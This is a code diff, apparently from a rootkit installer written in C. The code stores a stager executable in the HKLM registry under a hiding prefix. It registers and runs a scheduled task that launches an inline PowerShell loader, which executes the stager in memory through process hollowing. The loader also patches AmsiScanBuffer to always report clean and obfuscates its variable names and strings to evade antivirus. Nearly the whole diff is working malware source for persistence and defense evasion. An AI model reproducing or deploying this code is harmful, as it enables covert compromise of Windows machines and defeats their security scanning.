@@ -15,44 +15,31 @@ int main()
15
15
// Write stager executable to registry.
16
16
// This C# executable is compiled with AnyCPU and can be run by both 32-bit and 64-bit powershell.
17
17
// The target framework is 3.5, but it will run, even if .NET 4.x is installed and .NET 3.5 isn't.
18
- // Because the powershell command may run using .NET 3.5, there is no access to a specific registry view.
19
- // Therefore, the executable needs to be written to both the 32-bit and the 64-bit registry view.
20
18
21
19
HKEY key ;
22
- if (RegOpenKeyExW (HKEY_LOCAL_MACHINE , L"SOFTWARE" , 0 , KEY_ALL_ACCESS | KEY_WOW64_32KEY , & key ) != ERROR_SUCCESS ||
23
- RegSetValueExW (key , HIDE_PREFIX L"stager" , 0 , REG_BINARY , stager , stagerSize ) != ERROR_SUCCESS ) return 0 ;
24
-
25
20
if (RegOpenKeyExW (HKEY_LOCAL_MACHINE , L"SOFTWARE" , 0 , KEY_ALL_ACCESS | KEY_WOW64_64KEY , & key ) != ERROR_SUCCESS ||
26
21
RegSetValueExW (key , HIDE_PREFIX L"stager" , 0 , REG_BINARY , stager , stagerSize ) != ERROR_SUCCESS ) return 0 ;
27
22
28
23
// This powershell command loads the stager from the registry and executes it in memory using Assembly.Load().EntryPoint.Invoke()
29
24
// The C# binary will proceed with creating a native process using process hollowing.
30
25
// The powershell command is purely inline and doesn't require a ps1 file.
31
26
32
- LPWSTR powershellCommand32 = GetPowershellCommand (FALSE);
33
- LPWSTR powershellCommand64 = GetPowershellCommand (TRUE);
27
+ LPWSTR powershellCommand = GetPowershellCommand ();
34
28
35
- // Create 32-bit scheduled task to run the powershell stager.
29
+ // Create scheduled task to run the powershell stager.
36
30
DeleteScheduledTask (R77_SERVICE_NAME32 );
37
- if (CreateScheduledTask (R77_SERVICE_NAME32 , Is64BitOperatingSystem () ? L"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" : L"" , L"powershell" , powershellCommand32 ))
38
- {
39
- RunScheduledTask (R77_SERVICE_NAME32 );
40
- }
31
+ DeleteScheduledTask (R77_SERVICE_NAME64 );
41
32
42
- // Create 64-bit scheduled task to run the powershell stager.
43
- if (Is64BitOperatingSystem ( ))
33
+ LPCWSTR scheduledTaskName = Is64BitOperatingSystem () ? R77_SERVICE_NAME64 : R77_SERVICE_NAME32 ;
34
+ if (CreateScheduledTask ( scheduledTaskName , L"" , L"powershell" , powershellCommand ))
44
35
{
45
- DeleteScheduledTask (R77_SERVICE_NAME64 );
46
- if (CreateScheduledTask (R77_SERVICE_NAME64 , L"" , L"powershell" , powershellCommand64 ))
47
- {
48
- RunScheduledTask (R77_SERVICE_NAME64 );
49
- }
36
+ RunScheduledTask (scheduledTaskName );
50
37
}
51
38
52
39
return 0 ;
53
40
}
54
41
55
- LPWSTR GetPowershellCommand (BOOL is64Bit )
42
+ LPWSTR GetPowershellCommand ()
56
43
{
57
44
// Powershell inline command to be invoked using powershell.exe "..."
58
45
@@ -90,7 +77,7 @@ LPWSTR GetPowershellCommand(BOOL is64Bit)
90
77
// Use Microsoft.Win32.UnsafeNativeMethods for some DllImport's.
91
78
L"$NativeMethods=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals(`System.dll`)})"
92
79
L".GetType(`Microsoft.Win32.UnsafeNativeMethods`);"
93
- L"$GetProcAddress=$NativeMethods.GetMethod(`GetProcAddress`,[Reflection.BindingFlags]`Public,Static`,$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);"
80
+ L"$GetProcAddress=$NativeMethods.GetMethod(`GetProcAddress`,[Reflection.BindingFlags]( `Public,Static`) ,$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);"
94
81
95
82
// Create delegate types
96
83
L"$LoadLibraryDelegate=Get-Delegate @([String])([IntPtr]);"
@@ -111,7 +98,7 @@ LPWSTR GetPowershellCommand(BOOL is64Bit)
111
98
);
112
99
113
100
// Overwrite AmsiScanBuffer function with shellcode to return AMSI_RESULT_CLEAN.
114
- if (is64Bit )
101
+ if (Is64BitOperatingSystem () )
115
102
{
116
103
// b8 57 00 07 80 mov eax, 0x80070057
117
104
// c3 ret
@@ -144,6 +131,9 @@ LPWSTR GetPowershellCommand(BOOL is64Bit)
144
131
145
132
StrCatW (command , L"\"" );
146
133
134
+ // Replace string literals that are marked with `thestring`.
135
+ ObfuscatePowershellStringLiterals (command );
136
+
147
137
// Obfuscate all variable names with random strings.
148
138
ObfuscatePowershellVariable (command , L"Get-Delegate" );
149
139
ObfuscatePowershellVariable (command , L"ParameterTypes" );
@@ -160,9 +150,6 @@ LPWSTR GetPowershellCommand(BOOL is64Bit)
160
150
ObfuscatePowershellVariable (command , L"AmsiScanBufferPtr" );
161
151
ObfuscatePowershellVariable (command , L"OldProtect" );
162
152
163
- // Replace string literals that are marked with `thestring`.
164
- ObfuscatePowershellStringLiterals (command );
165
-
166
153
return command ;
167
154
}
168
155
VOID ObfuscatePowershellVariable (LPWSTR command , LPCWSTR variableName )
@@ -261,7 +248,7 @@ VOID ObfuscatePowershellStringLiterals(LPWSTR command)
261
248
}
262
249
263
250
// Append remaining string after the last quoted string.
264
- StrNCatW (newCommand , commandPtr , lstrlenW ( command ) - ( commandPtr - command ) );
251
+ StrCatW (newCommand , commandPtr );
265
252
266
253
StrCpyW (command , newCommand );
267
254
FREE (newCommand );
0 commit comments